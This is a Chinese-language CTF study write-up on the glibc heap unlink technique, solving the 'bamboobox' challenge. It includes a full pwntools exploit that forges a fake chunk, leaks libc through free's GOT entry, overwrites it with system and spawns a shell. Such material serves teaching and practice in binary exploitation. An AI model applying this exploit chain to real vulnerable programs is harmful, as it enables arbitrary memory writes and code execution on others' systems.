# PWN_unlink 了解学习

# 原理:

我们在利用 unlink 所造成的漏洞时,其实就是对 chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。

注意这里的是修改指针

简单的介绍下 unlink,其实 ctfwiki 有介绍,这里简单介绍下:

1. 首先找到要进行unlink的chunk(这里记为P)的前后堆块,
   FD = P->fd, BK = P->bk。
	
2. 进行安全检查,glibc2.23的潦草判断条件如下
   FD->bk == P, BK->fd == P。
   
3. 然后执行FD->bk=BK, BK->fd=FD。

4. 当某个non-fast大小的chunk被释放时,就会根据PREV_INUSE位检查其前后堆块是否处于释放状态,如果是就会将前面或后面的堆块取出并与当前堆块合并。取出前面或后面的堆块P的过程就是unlink

这里就是我们需要构造 fake_chunk 去绕过检查,利用 unlink 漏洞,去达到我们想要达成的效果。

  • 利用 pwn unlink 漏洞可以实现以下攻击:
  1. 泄露内存:通过 unlink 漏洞,可以将两个相邻的堆块合并,导致一个已经释放的堆块中的指针被篡改。通过修改指针的值,可以泄露堆中的敏感信息,如函数指针、堆块头部数据等。
  2. 任意内存写:通过 unlink 漏洞,可以修改已经释放的堆块的前后指针,从而实现任意内存写。这可以用来修改关键数据结构,如堆块头部、全局变量等,进而控制程序的执行流程。
  3. 执行任意代码:通过泄露函数指针或修改返回地址等方式,可以篡改程序的控制流,从而实现代码执行。这可以用来执行恶意代码、获取系统权限等。

img

利用思路

条件

  1. UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针
  2. 已知位置存在一个指针指向可进行 UAF 的 chunk

效果

使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18

思路

设指向可 UAF chunk 的指针的地址为 ptr

  1. 修改 fd 为 ptr - 0x18
  2. 修改 bk 为 ptr - 0x10
  3. 触发 unlink

ptr 处的指针会变为 ptr - 0x18。

光讲原理,很枯燥乏味。上个题目,提提兴趣。

# 题目来源:

# 例行检查:

image-20230811115628259

# 执行程序:

image-20230811115714589

给了个菜单,一共 5 个 node。这里就不一一执行了。

# IDA 看源代码:
  • main:

image-20230811115907614

可以看到很多函数。这里简单讲一下吧。程序首先申请了 0x10 字节大小的堆空间。并将返回的指针赋予 v4 变量。将 v4 [0] 的函数指针指向 hello_message 内容,v4 [1] 的函数指针指向 goodbye_message 的内容。然后开头打印 v4 [0] 指向的内容。接着进行循环,每循环一次都会调用 menu 函数,并且输入一个不长于 8 字节的数字,然后将输入的数字转换成整数进行 switch 匹配。

  • add_item:

image-20230811121510474

add 要求输入大小和内容。在这里可以很明显的发现一块 bss 段地址。因为 bss 段可以任意读写,所以可以通过 unlink 漏洞在 bss 段写入 got 地址,从而可以泄露 libc 地址

  • remove_item:

image-20230811124741272

不存在 uaf 漏洞,但是可以利用 free 一个非 fastbins 大小的 chunk,去触发 unlink 漏洞。

  • change_item:

    image-20230811124946810

注释即使重点!

  • show_item:

    image-20230811125058481

利用这里的输出,可以去打印处 libc 地址

# exp 构造过程:
n
add_item(0x40,b'a' * 8)
add_item(0x80,b'b' * 8)
add_item(0x70,b'c' * 8)# To stop merging chunk
add_item(0x20,b'/bin/sh\x00')

首先 make chunk。

n
ptr=0x6020c8#指向 itemlist 内容
fd=ptr-0x18
bk=ptr-0x10
fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+=b'\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)
edit(0,len(fake_chunk),fake_chunk)#堆溢出,改写 chunk1 的头,为后续 unlink 触发。
free(1)#触发 unlink, 使 chunk0 指向 itemlist 内容

接下来就是泄露 libc,然后去覆盖 got 地址。执行 shell 函数。

# 最终的 exp:
n
from LibcSearcher import*
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
# r = remote('node4.buuoj.cn',25461)
# r = gdb.debug('./bamboobox')
r = process('./bamboobox')
elf = ELF('./bamboobox')
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
lic 	= lambda data               :uu64(ru(data)[-6:])
pack    = lambda str, addr          :p32(addr)
padding = lambda lenth              :b'Yhuan'*(lenth//5)+b'Y'*(lenth % 5)
it      = lambda                    :r.interactive()
def show():
    r.sendlineafter("Your choice:", b"1")
def add_item(length,context):
    r.recvuntil("Your choice:")
    r.sendline(b"2")
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the name of item:")
    r.send(context)
def edit(idx,length,context):
    r.recvuntil("Your choice:")
    r.sendline(b"3")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the new name of the item:")
    r.send(context)
def free(idx):
    r.recvuntil("Your choice:")
    r.sendline(b"4")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))
def exit():
	sa('Your choice:',b'5')
add_item(0x40,b'a' * 8)
add_item(0x80,b'b' * 8)
add_item(0x70,b'c' * 8)# To stop merging chunk
add_item(0x20,b'/bin/sh\x00')
ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10
fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+=b'\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)
edit(0,len(fake_chunk),fake_chunk)
free(1)
free_got=elf.got['free']
log.info("free_got:%x",free_got)
payload=p64(0)+p64(0)+p64(0x40)+p64(free_got)
edit(0,len(fake_chunk),payload)
show()
free_addr=lic('\x7f')
log.info("free_addr:%x"%free_addr)
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
log.info("libc_addr:%x",libc_base)
system_addr=libc_base+libc.dump('system')
log.info("system_addr:%x",system_addr)
edit(0,0x8,p64(system_addr))#改写 got 表内容
free(3)
it()

image-20230811135415349

# 总结:

unlink 这里比较的绕,其实不难,但是是去理解指针的指向需要花费一点时间,现在还是不太熟练,要继续加油。

更新于 阅读次数